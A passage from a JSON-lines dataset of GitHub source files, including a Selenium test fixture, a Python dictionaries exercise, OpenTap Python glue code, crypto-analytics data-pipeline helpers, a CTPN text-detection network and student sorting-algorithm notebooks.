= dynamics.buoyant_force(matrix_density=matrix_density, grav_accel=grav_accel, object_radius=object_radius)\n fg = dynamics.grav_force(object_radius=object_radius, object_density=object_density, grav_accel=grav_accel)\n # for simplicity, assume the drag force is conservative within the time interval\n # use this conservative drag force to find the work done by it\n w = dynamics.work_conservative(delta_time=delta_time, force=fd, velocity=object_velocity, distance_travelled=distance_travelled)\n # convert the work to degrees kelvin\n k = w / (cp * object_mass)\n return k\n","repo_name":"ScottHull/Chimera","sub_path":"Chimera/Chimera_3D/heat.py","file_name":"heat.py","file_ext":"py","file_size_in_byte":14284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11102370481","text":"import pytest\nfrom selenium import webdriver\nfrom pages.BasePage import BasePage\nimport allure\n\nURL = \"https://ok.ru\"\n\n@pytest.fixture(scope=\"session\")\ndef browser():\n driver = webdriver.Chrome()\n yield driver\n driver.quit()\n\n@pytest.fixture\ndef open_base_url(browser):\n with allure.step(f'Открываем страницу: {URL}'):\n base_page = BasePage(browser)\n base_page.go_to_url(URL)","repo_name":"TsakunovR/AT2-Sergey","sub_path":"tests/BaseTest.py","file_name":"BaseTest.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27207448811","text":"person = {'first_name': 'Bruce', 'last_name': 'Wayne', 'age': 25\n }\n# print(person['first_name'])\n# print(person['fav_color'])\nperson['fav_color'] = 'blue'\nperson['fav_color'] = 'red'\nperson.update({'first_name': 'Robin', 'age': 33, 'weight': 200})\n#\n# print(person['DOB'])\n# print(person.get('DOB', 'Not found'))\n\n#keys(), values(), items()\n#finding all keys from dict\nattributes = person.keys()\n# print(attributes, 'print key attr')\n\n#find all values\nvalues = person.values()\n# print(values, 'printing values')\n\n#key/value pairs\npairs = person.items()\n# print(pairs, 'key/value')\n\n#print the keys\n# for x in person:\n# print(x)\n\n#print keys and values \n# for key, value in person.items():\n# print(key, value)\n \n \n #append data to contacts list\n # contacts.append(name)\n # contacts.append(phone_number)\n # contacts.append(fav_color)\n \n \n# contacts = []\n# while True:\n# name = input('Enter a name of contact: ')\n# phone_number =input(f\"Enter {name}'s phone number: \")\n# fav_color = input(f\"Enter {name}'s favorite color: \")\n \n# contacts.append({\n# 'name': name, 'phone_number': phone_number, 'fav_color': fav_color\n# })\n \n# additional_data = input('Enter another contact? y/n')\n# if additional_data =='n':\n# break\n# print(contacts)\n\n\ncontacts = [\n {'name': 'Susan', 'phone_number': 5555555555, 'fav_color': 'green'},\n {'name': 'Bob', 'phone_number': 555555885, 'fav_color': 'blue'},\n {'name': 'Tom', 'phone_number': 4555555555, 'fav_color': 'yellow'}\n \n]\n\n\n# print(contacts, 'entire list of dicts')\n# for contact in contacts:\n# print(contact['name'], 'values from key')\n \n# for contact in contacts:\n# if contact['name'] == 'Susan':\n# print(contact['name'], 'conditional value')\n\nwhile True:\n #show menu to user\n choice = input('Choose: add, search, update, delete ')\n #if user keys 'add', prompt for new contact info\n if choice == 'add':\n name = input('Enter a name of contact: ')\n phone_number =input(f\"Enter {name}'s phone number: \")\n fav_color = input(f\"Enter {name}'s favorite color: \")\n \n #append contact info to the contacts list\n contacts.append({\n 'name': name, 'phone_number': phone_number, 'fav_color': fav_color\n })\n \n elif choice == 'search':\n search_name = input('Enter contact name ').lower()\n #loop over all contacts\n for contact in contacts:\n #if search name matches name in contact, print info\n if contact['name'].lower() == search_name:\n print(contact['name'])\n print(contact['phone_number'])\n print(contact['fav_color'])\n \n elif choice == 'update':\n search_name = input('Enter contact name: ').lower()\n #loop over contacts dictionary\n for contact in contacts:\n if contact['name'].lower() == search_name:\n #check if name is correct\n correct = input(f\"Is {contact['name']} correct? y/n\")\n # if not correct, ask for data\n if correct == 'n':\n name = input(f\"Enter new/revised name for contact\")\n contact['name'] = name\n #check if phone number is correct\n correct = input(f\"Is {contact['phone_number']} correct? y/n\")\n # if not correct, ask for data\n if correct == 'n':\n phone_number = input(f\"Enter new/revised phone_number for contact\")\n contact['phone_number'] = phone_number\n #check if fav_color is correct\n correct = input(f\"Is {contact['fav_color']} correct? y/n\")\n # if not correct, ask for data\n if correct == 'n':\n color = input(f\"Enter new/revised color for contact\")\n contact['fav_color'] = color\n \n #show updated contact info\n print(contact['name'])\n print(contact['phone_number'])\n print(contact['fav_color'])\n \n elif choice == 'delete':\n for i, contact in enumerate(contacts): #[i = 0{susan}, i = 1 {bob}]\n print(f\" {i} - {contact['name']}\")\n index = input('Enter the number of the contact u want 2 delete: ')\n remove_contact = contacts.pop(int(index))\n \n \n additional_data = input('Enter another contact? y/n ')\n if additional_data =='n':\n break\n \nprint(contacts)\n","repo_name":"PdxCodeGuild/class_HB2","sub_path":"code/IWilliams/Python/Dictionaries.py","file_name":"Dictionaries.py","file_ext":"py","file_size_in_byte":4589,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"34814438031","text":"\"\"\"\n This file contains infrastructure for getting OpenTAP to work with Python.\n\"\"\"\n__copyright__ = \"\"\"\n Copyright 2012-2022 Keysight Technologies\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\n\"\"\"\n\nimport sys\nimport clr\nimport traceback \nimport os\n\nclr.AddReference(\"OpenTap\")\nclr.AddReference(\"OpenTap.Python\")\nimport OpenTap\nimport OpenTap.Python\nfrom System import String, Double, Array, IConvertible\nfrom System.Collections.Generic import List\n\n# find the installed python executable.\n# the sys.executable contains dotnet, so it is not useful\n# for starting a python sub process. \ndef find_python():\n for name in [\"python3\", \"py.exe\", \"python.exe\"]:\n p = os.path.join(sys.prefix, \"bin\", name)\n if os.path.isfile(p):\n return p\n p = os.path.join(sys.prefix, name)\n if os.path.isfile(p):\n return p\n return None\n\npyexe = find_python() \n\nif pyexe != None:\n # sys.executable is set to dotnet. This is not really useful for anybody\n # hence we set it to the python executable so that scripts can be run.\n sys.executable = pyexe\n\ndef install_package(file):\n import subprocess\n subprocess.check_call([pyexe, '-m', 'pip', 'install', '-r', os.path.abspath(file)])\n\ndebugpy_imported = False\n\ntry:\n # setup debugging this is done using debugpy, but is an optional feature.\n if OpenTap.Python.PythonSettings.Current.Debug:\n import debugpy\n debugpy.configure(subProcess = False)\n debugpy.listen(OpenTap.Python.PythonSettings.Current.DebugPort)\n debugpy_imported = True\nexcept Exception as e:\n print(\"Could not enable debugging: \" + str(e))\n \nattribute = clr.attribute\n\ndef debug_this_thread():\n if debugpy_imported:\n debugpy.debug_this_thread()\n else:\n pass\n\nclass Rule(OpenTap.Python.VirtualValidationRule):\n __namespace__ = \"OpenTap.py\"\n def __init__(self, property, validFunc, errorFunc):\n super(Rule, self).__init__(property)\n self.validFunc = validFunc\n self.errorFunc = errorFunc\n def Error(self):\n if self.validFunc():\n return None\n return self.errorFunc()\n\nproperty = clr.property\nmethod = clr.clrmethod\n\nclass Trace(OpenTap.TraceSource):\n def __init__(self, resource):\n self.resource = resource\n def Debug(self, message, *args):\n \"\"\" Log a debug level message. Can also be used to log the stacktrace of an exception. \"\"\"\n if isinstance(message, BaseException):\n traceback.print_exc(file = Logger(self.resource.Log))\n else:\n if isinstance(message, str):\n OpenTap.Log.Debug(self.resource.Log, message, args)\n else: \n OpenTap.Log.Debug(self.resource.Log, message, args[0], args[1:])\n \n def Info(self, message, *args):\n \"\"\" Log a debug level message. Can also be used to log the stacktrace of an exception. \"\"\"\n if isinstance(message, BaseException):\n traceback.print_exc(file = Logger(self.resource.Log))\n else:\n if isinstance(message, str):\n OpenTap.Log.Info(self.resource.Log, message, args)\n else: \n OpenTap.Log.Info(self.resource.Log, message, args[0], args[1:])\n def Warning(self, message, *args):\n \"\"\" Log a debug level message. Can also be used to log the stacktrace of an exception. \"\"\"\n if isinstance(message, BaseException):\n traceback.print_exc(file = Logger(self.resource.Log))\n else:\n if isinstance(message, str):\n OpenTap.Log.Warning(self.resource.Log, message, args)\n else: \n OpenTap.Log.Warning(self.resource.Log, message, args[0], args[1:])\n def Error(self, message, *args):\n \"\"\" Log a debug level message. Can also be used to log the stacktrace of an exception. \"\"\"\n if isinstance(message, BaseException):\n traceback.print_exc(file = Logger(self.resource.Log))\n else:\n if isinstance(message, str):\n OpenTap.Log.Error(self.resource.Log, message, args)\n else: \n OpenTap.Log.Error(self.resource.Log, message, args[0], args[1:])\nclass Logger:\n \"\"\"Internal: Replaces the print statements to use the Keysight Test Automation logger.\"\"\"\n def __init__(self, log = None, level = OpenTap.LogEventType.Debug):\n self.terminal = sys.stdout\n if log == None:\n log = OpenTap.Log.CreateSource(\"Python\")\n self.log = log\n self.level = level\n\n def write(self, message):\n if len(message) == 1 and message[0] == '\\n':\n return\n self.log.TraceEvent(self.level, 0, message)\n\n def flush(self):\n self.log.Flush()\n self.terminal.flush()\n\nsys.stdout = Logger()\nsys.stderr = Logger(level = OpenTap.LogEventType.Error)\n\ndef reload_module(module):\n \"\"\"Internal: Reloads modules and sub-modules. Similar to imp.reload, but recurses to included sub-modules.\"\"\"\n import imp\n import types\n things_to_reload = [module]\n loaded = {}\n basename = module.__name__\n toload = []\n while len(things_to_reload) > 0:\n modname = things_to_reload.pop(0)\n \n try:\n if modname.__name__ in loaded:\n continue\n toload.append(modname)\n loaded[modname.__name__] = True\n \n except:\n continue\n \n for key,value in modname.__dict__.items():\n \n if str(value).startswith('= 0:\n if matrix[row][col] == target:\n return True\n elif matrix[row][col] > target:\n col -= 1\n else:\n row += 1\n return False\n \nif __name__ == \"__main__\":\n s = Solution()\n result = s.searchMatrix([\n [1, 4, 7, 11, 15],\n [2, 5, 8, 12, 19],\n [3, 6, 9, 16, 22],\n [10, 13, 14, 17, 24],\n [18, 21, 23, 26, 30]\n], 19)\n print(result)","repo_name":"kenwoov/PlayLeetCode","sub_path":"Algorithms/Medium/240. Search a 2D Matrix II/answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7707733055","text":"import requests\nimport time\nimport sys\nimport json\nimport pandas as pd\nimport unicodedata\nfrom datetime import datetime\nimport boto3\nimport os\nimport eth_utils\n\n## API interaction functions\ndef api_get_call(url, sleeper=0.5, retries=15, header=None, _remove_control_characters=False, as_json=True):\n retry_counter = 0\n interupt = False\n\n while True:\n try:\n response = requests.request(\"GET\", url, headers=header)\n if response.status_code == 200:\n break\n elif response.status_code == 400:\n print(f\"400 error, Bad Request with: {url} and response: {response.text}\") \n return \"400\"\n else:\n retry_counter += 1\n if retry_counter <= retries:\n waiting_time = retry_counter ** 2\n print(f\"-- Code: {response.status_code} -- sleep for {str(waiting_time)}s then retry API call #{str(retry_counter)} with: {url}\")\n print(response.reason)\n for i in range(1, waiting_time):\n time.sleep(1)\n else:\n print(\"retrying failed more than \" + str(retries) + \" times - start over\")\n return False\n except KeyboardInterrupt:\n interupt = True\n break \n except:\n print('request issue, will retry with: ' + url)\n time.sleep(retry_counter * sleeper)\n \n if interupt == True:\n print(\"Execution ended successfully in api_get_call\")\n sys.exit()\n else:\n if _remove_control_characters == True:\n if as_json == True:\n return json.loads(remove_control_characters(response.text))\n else:\n return remove_control_characters(response.text)\n else:\n if as_json == True:\n return json.loads(response.text)\n else:\n return response.text\n\ndef api_post_call(url, payload, sleeper=0.5, retries=15, header=None, _remove_control_characters=False):\n retry_counter = 0\n interupt = False\n\n while True:\n try:\n response = requests.request(\"POST\", url, data=payload, headers=header)\n if response.status_code == 200:\n break\n else:\n retry_counter += 1\n if retry_counter <= retries:\n waiting_time = retry_counter ** 2\n print(f\"-- Code: {response.status_code} -- sleep for {str(waiting_time)}s then retry API call #{str(retry_counter)} with: {url}\")\n print(response.reason)\n for i in range(1, waiting_time):\n time.sleep(1)\n else:\n print(\"retrying failed more than \" + str(retries) + \" times - start over\")\n return False\n except KeyboardInterrupt:\n interupt = True\n break \n except:\n print('request issue, will retry with: ' + url)\n time.sleep(retry_counter * sleeper)\n \n if interupt == True:\n print(\"Execution ended successfully in api_get_call\")\n sys.exit()\n else:\n if _remove_control_characters == True:\n return json.loads(remove_control_characters(response.text))\n else:\n return json.loads(response.text)\n\ndef remove_control_characters(s):\n return \"\".join(ch for ch in s if unicodedata.category(ch)[0]!=\"C\")\n\n## Adapter preparation functions\n## this function checks if origin_keys exist in the projects:AdapterMapping or FlipsideQueries and returns an error if one is missing\ndef check_projects_to_load(projects, origin_keys):\n if origin_keys is not None:\n for ok in origin_keys:\n ok_existing = False\n for p in projects:\n if p.origin_key == ok:\n ok_existing = True\n break\n if ok_existing == False:\n print(f'origin_key {ok} does not exist in AdapterMapping.')\n raise NotImplementedError\n\n## this function checks if query_name exist in the zettablock_queries and returns an error if one is missing\ndef check_zb_queries_to_load(zb_queries, query_names):\n for qname in query_names:\n qname_existing = False\n for zb in zb_queries:\n if zb.query_name == qname:\n qname_existing = True\n break\n if qname_existing == False:\n print(f'query name {qname} does not exist in zettablock_queries.py')\n raise NotImplementedError\n\n## this function filters the projects:AdapterMapping and only returns origin keys defined in origin_keys\ndef return_projects_to_load(projects, origin_keys):\n if origin_keys is not None:\n projects_to_load = [x for x in projects if x.origin_key in origin_keys]\n else:\n projects_to_load = projects\n return projects_to_load\n\n## this function returns a dataframe for the fact_kpis table\ndef get_df_kpis():\n return pd.DataFrame(columns=['date', 'metric_key', 'origin_key', 'value'])\n\n## this function upserts a dataframe to the fact_kpis and returns the number of upserted rows\ndef upsert_to_kpis(df, db_connector):\n tbl_name = 'fact_kpis'\n upserted = db_connector.upsert_table(tbl_name, df)\n return upserted, tbl_name\n\n## this function returns the number of days between today and the last entry in fact_kpis\ndef get_missing_days_kpis(db_connector, metric_key, origin_key):\n last_date = db_connector.get_max_date(metric_key, origin_key)\n if last_date == None:\n days = 9999\n print(f\"No entry detected in tbl_kpis_daily for metric_key: {metric_key} and origin_key: {origin_key}. Set days to {days}.\")\n else:\n delta = datetime.today().date() - last_date\n days = delta.days + 5 #add 5 just for precaution (in case some data was missing etc.)\n print(f\"Last entry in tbl_kpis_daily detected for metric_key: {metric_key} and origin_key: {origin_key} is on {last_date}. Set days to {days}.\")\n return (days) \n\ndef get_missing_days_blockspace(db_connector, origin_key):\n last_date = db_connector.get_blockspace_max_date(origin_key)\n if last_date == None:\n days = 9999\n print(f\"No blockspace entry detected for origin_key: {origin_key}. Set days to {days}.\")\n else:\n delta = datetime.today().date() - last_date\n days = delta.days + 3 #add 5 just for precaution (in case some data was missing etc.)\n print(f\"Last blockspace entry for origin_key: {origin_key} is on {last_date}. Set days to {days}.\")\n return (days) \n\n## prepare df for kpis_daily with input df having day and value columns\ndef prepare_df_kpis(df, metric_key, origin_key):\n df['day'] = df['day'].apply(pd.to_datetime)\n df['date'] = df['day'].dt.date\n df.drop(['day'], axis=1, inplace=True)\n df['metric_key'] = metric_key\n df['origin_key'] = origin_key\n # max_date = df['date'].max()\n # df.drop(df[df.date == max_date].index, inplace=True)\n today = datetime.today().strftime('%Y-%m-%d')\n df.drop(df[df.date == today].index, inplace=True, errors='ignore')\n df.value.fillna(0, inplace=True)\n return df\n\n## convert df address columns to checksummed addresses\ndef db_addresses_to_checksummed_addresses(df, address_cols):\n for col in address_cols:\n df[col] = df[col].apply(lambda x: eth_utils.to_checksum_address(bytes(x)))\n return df\n\n## Some simple Adapter print functions\ndef clean_params(params:dict):\n if 'api_key' in params:\n params['api_key'] = '***'\n if 'infura_api' in params:\n params['infura_api'] = '***'\n return params\n\ndef print_init(name:str, params:dict):\n params = clean_params(params)\n print(f\"Adapter {name} initialized with {params}.\")\n\ndef print_extract(name:str, params:dict, df_shape):\n params = clean_params(params)\n print(f'{name} extract done for {params}. DataFrame shape: {df_shape}')\n\ndef print_extract_raw(name:str, df_shape):\n print(f'Extract {name} RAW done. DataFrame shape: {df_shape}')\n\ndef print_load(name:str, upserted:int, tbl_name:str):\n print(f'Load {name} done - {upserted} rows upserted in {tbl_name}')\n\ndef print_load_raw(name:str, upserted:int, tbl_name:str):\n print(f'Load {name} RAW done - {upserted} rows upserted in {tbl_name}')\n\ndef print_orchestration_raw_start(name:str):\n print(f'Orchestration {name} RAW started.')\n\ndef print_orchestration_raw_end(name:str):\n print(f'Orchestration {name} RAW finished.')\n\n\n## S3 functions\ndef empty_cloudfront_cache(distrubution_id, path):\n cf = boto3.client('cloudfront')\n # print(\"Creating invalidation for path: \" + path)\n res = cf.create_invalidation(\n DistributionId=distrubution_id,\n InvalidationBatch={\n 'Paths': {\n 'Quantity': 1,\n 'Items': [\n path\n ]\n },\n 'CallerReference': str(time.time()).replace(\".\", \"\")\n }\n )\n invalidation_id = res['Invalidation']['Id']\n time.sleep(2)\n #print(\"Invalidation created successfully with Id: \" + invalidation_id)\n return invalidation_id\n\ndef upload_json_to_cf_s3(bucket, path_name, details_dict, cf_distribution_id):\n # Convert Dictionary to JSON String\n details_json = json.dumps(details_dict)\n\n # Upload JSON String to an S3 Object\n s3 = boto3.client('s3')\n s3.put_object(\n Bucket=bucket, \n Key=f'{path_name}.json',\n Body=details_json,\n ContentType='application/json'\n )\n\n print(f'... uploaded to {path_name}')\n empty_cloudfront_cache(cf_distribution_id, f'/{path_name}.json')\n\n\n## This function uploads a dataframe to S3 longterm bucket as parquet file\ndef dataframe_to_s3(path_name, df):\n s3_url = f\"s3://{os.getenv('S3_LONG_TERM_BUCKET')}/{path_name}.parquet\"\n df.to_parquet(s3_url)\n\n print(f'...uploaded to S3 longterm in {path_name}')\n\n","repo_name":"growthepie/gtp","sub_path":"backend/src/misc/helper_functions.py","file_name":"helper_functions.py","file_ext":"py","file_size_in_byte":10179,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"70213624402","text":"import ast\n\n\nwith open('input') as f:\n ls = [line.strip() for line in f.readlines()]\n\n\n# Use ast to parse tokens. Manipulate operators to force evaluation order.\n# A less hacky solution would be to just use a proper tokenizer like\n# https://www.geeksforgeeks.org/expression-evaluation/ and set precedence\n# of operators accordingly.\ndef evaluate(code):\n root = ast.parse(code, mode='eval')\n for node in ast.walk(root):\n if type(node) is ast.BinOp:\n node.op = ast.Add() if type(node.op) is ast.Div else ast.Mult()\n return eval(compile(root, '', 'eval'))\n\n\n# Part one\n# Replace + with / to decrease binding.\nprint(sum(\n evaluate(l.replace('+', '/')) for l in ls\n))\n\n# Part two\n# Replace * with + to increase binding.\nprint(sum(\n evaluate(l.replace('+', '/').replace('*', '+')) for l in ls\n))\n","repo_name":"fuglede/adventofcode","sub_path":"2020/day18/solutions.py","file_name":"solutions.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"3"} +{"seq_id":"8787135738","text":"import opc\nimport cv2\nimport PIL\nimport time\nimport json\n\nfrom PIL import Image\ndef video_function(video_name):\n pix = list()\n# Locate and add the video file, temporarily using laptop camera as VideoCapture(0). The 0 is the camera. A file can be called here instead.\nvidcap = cv2.VideoCapture('CNC.mp4')\nsuccess,image = vidcap.read()\nsuccess = True\nclient = opc.Client('10.80.31.22:7890')\n#ADDED MAPPED PIXEL\ndata = list()\nwith open('lit_t.json', 'r') as f:\n data = json.load(f)\ntry:\n while success:\n success,image = vidcap.read()\n image = cv2.cvtColor(image,cv2.COLOR_BGR2RGB)\n pix = []\n im = Image.fromarray(image)\n im = im.resize((1920,1080), Image.ANTIALIAS)\n# Only want RGB, not RGBA\n for i in range(0,4661):\n pix.append(im.getpixel((data[i][0],data[i][1]))[:3]) \n client.put_pixels(pix)\n time.sleep(1/60)\nexcept:\n print (\"Video terminated unexpectedly!!\")\n","repo_name":"somnbody/TviBit_Magicked_Signage","sub_path":"LED_Pickle_Magick.py","file_name":"LED_Pickle_Magick.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70252407442","text":"import sys\nsys.path.append(\"/home/zhangyangsong/OCR/CTPN-master/ctpn/Net\")\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport img2col\nimport numpy as np\nimport torch\nfrom torch.autograd import Variable\nfrom roi_align.Roi_align import RoIAlign\nimport math\ndef to_varabile(arr, requires_grad=False, is_cuda=True):\n tensor = torch.from_numpy(arr)\n if is_cuda:\n tensor = tensor.cuda()\n var = Variable(tensor, requires_grad=requires_grad)\n return var\n\nclass VGG_16(nn.Module):\n \"\"\"\n VGG-16 without pooling layer before fc layer\n VGG16进行底层特征提取\n \"\"\"\n def __init__(self):\n super(VGG_16, self).__init__()\n # CLASS torch.nn.Conv2d(in_channels, out_channels, kernel_size, \\\n # stride=1, padding=0, dilation=1, groups=1, bias=True)\n self.convolution1_1 = nn.Conv2d(3, 64, 3, padding=1)\n self.convolution1_2 = nn.Conv2d(64, 64, 3, padding=1)\n self.pooling1 = nn.MaxPool2d(2, stride=2)\n self.convolution2_1 = nn.Conv2d(64, 128, 3, padding=1)\n self.convolution2_2 = nn.Conv2d(128, 128, 3, padding=1)\n self.pooling2 = nn.MaxPool2d(2, stride=2)\n self.convolution3_1 = nn.Conv2d(128, 256, 3, padding=1)\n self.convolution3_2 = nn.Conv2d(256, 256, 3, padding=1)\n self.convolution3_3 = nn.Conv2d(256, 256, 3, padding=1)\n self.pooling3 = nn.MaxPool2d(2, stride=2)\n self.convolution4_1 = nn.Conv2d(256, 512, 3, padding=1)\n self.convolution4_2 = nn.Conv2d(512, 512, 3, padding=1)\n self.convolution4_3 = nn.Conv2d(512, 512, 3, padding=1)\n self.pooling4 = nn.MaxPool2d(2, stride=2)\n self.convolution5_1 = nn.Conv2d(512, 512, 3, padding=1)\n self.convolution5_2 = nn.Conv2d(512, 512, 3, padding=1)\n self.convolution5_3 = nn.Conv2d(512, 512, 3, padding=1)\n\n def forward(self, x):\n x = F.relu(self.convolution1_1(x), inplace=True)\n x = F.relu(self.convolution1_2(x), inplace=True)\n x = self.pooling1(x)\n x = F.relu(self.convolution2_1(x), inplace=True)\n x = F.relu(self.convolution2_2(x), inplace=True)\n x = self.pooling2(x)\n x = F.relu(self.convolution3_1(x), inplace=True)\n x = F.relu(self.convolution3_2(x), inplace=True)\n x = F.relu(self.convolution3_3(x), inplace=True)\n x = self.pooling3(x)\n x = F.relu(self.convolution4_1(x), inplace=True)\n x = F.relu(self.convolution4_2(x), inplace=True)\n x = F.relu(self.convolution4_3(x), inplace=True)\n x = self.pooling4(x)\n x = F.relu(self.convolution5_1(x), inplace=True)\n x = F.relu(self.convolution5_2(x), inplace=True)\n x = F.relu(self.convolution5_3(x), inplace=True)\n return x\n\n\nclass BLSTM(nn.Module):\n \"\"\"\n 双向LSTM，增强关联序列的信息学习\n \"\"\"\n def __init__(self, channel, hidden_unit, bidirectional=True):\n \"\"\"\n :param channel: lstm input channel num\n :param hidden_unit: lstm hidden unit\n :param bidirectional:\n \"\"\"\n super(BLSTM, self).__init__()\n self.lstm = nn.LSTM(channel, hidden_unit, bidirectional=bidirectional)\n\n def forward(self, x):\n \"\"\"\n WARNING: The batch size of x must be 1.\n \"\"\"\n x = x.transpose(1, 3)\n recurrent, _ = self.lstm(x[0])\n recurrent = recurrent[np.newaxis, :, :, :]\n recurrent = recurrent.transpose(1, 3)\n return recurrent\n\n\nclass CTPN(nn.Module):\n def __init__(self):\n super(CTPN, self).__init__()\n self.cnn = nn.Sequential()\n self.cnn.add_module('VGG_16', VGG_16())\n self.rnn = nn.Sequential()\n self.rnn.add_module('im2col', img2col.Im2col((3, 3), (1, 1), (1, 1)))\n self.rnn.add_module('blstm', BLSTM(3 * 3 * 512, 128))\n self.FC = nn.Conv2d(256, 50, 1)\n self.vertical_coordinate = nn.Conv2d(500, 2*10, 1) # 最终输出2K个参数（k=10），10表示anchor的尺寸个数，2个参数分别表示anchor的h和dy\n self.score = nn.Conv2d(500, 2*10 , 1) # 最终输出是2K个分数（k=10），2表示有无字符，10表示anchor的尺寸个数\n self.side_refinement = nn.Conv2d(500, 1*10, 1) # 最终输出1K个参数（k=10），该参数表示该anchor的水平偏移，用于精修文本框水平边缘精度，10表示anchor的尺寸个数\n self.dd = nn.Linear(7,1)\n def forward(self, x, boxes_data, box_index_data ,val=False):\n \"\"\"\n 前向传播：图像——>CNN——>RNN——>FC——>返回vertical_pred、score、side_refinement\n \"\"\"\n # h=math.ceil(x.shape[2]/16)\n # w=math.ceil(x.shape[3]/16)\n x = self.cnn(x)\n h = x.shape[2]\n w = x.shape[3]\n x = self.rnn(x)\n x = self.FC(x)\n x = F.relu(x, inplace=True)\n # x=x.repeat(10,1,1,1)\n # x = Variable(x, requires_grad=True)\n # is_cuda=True\n # boxes = to_varabile(boxes_data, requires_grad=False, is_cuda=is_cuda)\n # box_index = to_varabile(box_index_data, requires_grad=False, is_cuda=is_cuda)\n # a=RoIAlign(7, 1, transform_fpcoor=True)\n # x=a(x, boxes, box_index)\n # x=x.reshape((-1,7))\n # x=self.dd(x)\n\n # x=x.reshape(10,512,h,w)\n\n x=x.repeat(10,1,1,1)\n x = Variable(x, requires_grad=True)\n is_cuda=True\n\n boxes = to_varabile(boxes_data, requires_grad=False, is_cuda=is_cuda)\n box_index = to_varabile(box_index_data, requires_grad=False, is_cuda=is_cuda)\n a=RoIAlign(7, 1, transform_fpcoor=True)\n x=a(x, boxes, box_index)\n x=x.reshape((-1,7))\n x=self.dd(x)\n\n x=x.reshape(10,h,w,50)\n # x=x.transpose(0,3,1,2)\n x=x.transpose(2,3)\n x=x.transpose(1,2)\n x=x.reshape(1,500,h,w)\n\n\n vertical_pred = self.vertical_coordinate(x) # 垂直坐标预测\n # vertical_pred=vertical_pred.reshape(1,20,h,w)\n score = self.score(x) # 得分score\n # score = score.reshape(1,20,h,w)\n if val: # 这里是做什么处理呢？ 在infer的时候用到\n score = score.reshape((score.shape[0], 10, 2, score.shape[2], score.shape[3]))\n score = score.squeeze(0)\n score = score.transpose(1, 2)\n score = score.transpose(2, 3)\n score = score.reshape((-1, 2))\n #score = F.softmax(score, dim=1)\n score = score.reshape((10, vertical_pred.shape[2], -1, 2))\n vertical_pred = vertical_pred.reshape((vertical_pred.shape[0], 10, 2, vertical_pred.shape[2],\n vertical_pred.shape[3]))\n vertical_pred = vertical_pred.squeeze(0)\n side_refinement = self.side_refinement(x) # 边缘优化\n # side_refinement = side_refinement.reshape(1,10,h,w)\n return vertical_pred, score, side_refinement\n","repo_name":"Mael-zys/CTPN","sub_path":"ctpn/Net/test_net.py","file_name":"test_net.py","file_ext":"py","file_size_in_byte":6862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21583011208","text":"#!/usr/bin/env python\n\nfrom distutils.core import setup\nimport os, sys\n\ndata_files = [('share/glimmer2html/',['template/glimmer2html.cfg',\n 'template/index.tmpl',\n 'template/snapshots.tmpl',\n 'template/rsl.tmpl']),\n ('bin',['g2h_run.py'])]\n\nsetup (name = 'glimmer2html',\n version = \"0.1\",\n description = \"Python module for creating HTML pages from GLIMMER output\",\n author = \"Magnus Hagdorn\",\n author_email = \"Magnus.Hagdorn@ed.ac.uk\",\n packages = ['glimmer2html'],\n data_files=data_files,\n )\n\n#EOF\n","repo_name":"BackupTheBerlios/glimmer-cism-svn","sub_path":"glimmer-cism/glimmer2html/trunk/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17890752172","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# Алгоритмы сортировки\n\n# In[3]:\n\n\nimport random\n\n\n# # СОРТИРОВКА ПУЗЫРЬКОМ\n\n# In[6]:\n\n\nn=1\nwhile n< len(array):\n for i in range(len(array)- n):\n if array[i]> array [i+1]:\n array[i], array[i+1]= array[i+1], array[i]\n n+=1\n print(array)\n\n\n# # СОРТИРОВКА ВЫБОРОМ\n\n# In[24]:\n\n\ndef selection_sort(array):\n for i in range(len(array)): #проходит весь массив\n idx_min=i #при каждой итерации индецс мин обновляется \n for j in range(i+1, len(array)): #нужно чтобы итерирование начиналось после последнего отфильтрованного элемента\n if array[j] < array[idx_min]: #если итерируемый объект меньше то заменяем индекс мин на индекс итерируемого а затем и сами элементы через i\n idx_min=j\n \n array[idx_min], array[i]= array[i], array[idx_min]\n print(array)\n\n\n# In[27]:\n\n\nselection_sort(array)\n\n\n# # СОРТИРОВКА ВСТАВКАМИ\n\n# In[30]:\n\n\ndef insertion_sort (array):\n for i in range (1, len(array)): #нулевой индекс не берем так как слева ничего не стоит\n spam=array[i]\n j=i\n while array[j-1] > spam and j>0: \n array[j] = array[j-1]\n j-=1\n array[j]= spam\n print(array)\n \n\n\n# # СОРТИРОВКА ШЕЛЛА\n\n# In[41]:\n\n\ndef shell (array):\n assert len(array) < 4000, 'Array is too big for Shell'\n \n def new_increment (array):\n inc= [1,4,10,23,57,132,301,701,1750]\n \n while len(array) <= inc[-1]:\n inc.pop()\n while len(inc)>0:\n yield inc.pop()\n count=0\n for increment in new_increment(array):\n for i in range (increment, len(array)):\n for j in range( i, increment -1 , - increment):\n if array[j-increment] <= array[j]:\n break\n array[j], array[j-increment]= array[j-increment], array [j]\n count+=1\n print(array) #if array is not large\n print(count)\n \n \n\n\n# In[42]:\n\n\nshell(array)\n\n\n# # СОРТИРОВКА ХОАРА\n\n# In[49]:\n\n\ndef quick(array): #использует доп.память \n if len(array)<=1: #базовый случай\n return array\n\n pivot= random.choice(array)\n small=[]\n med=[]\n large=[]\n for item in array:\n if item < pivot 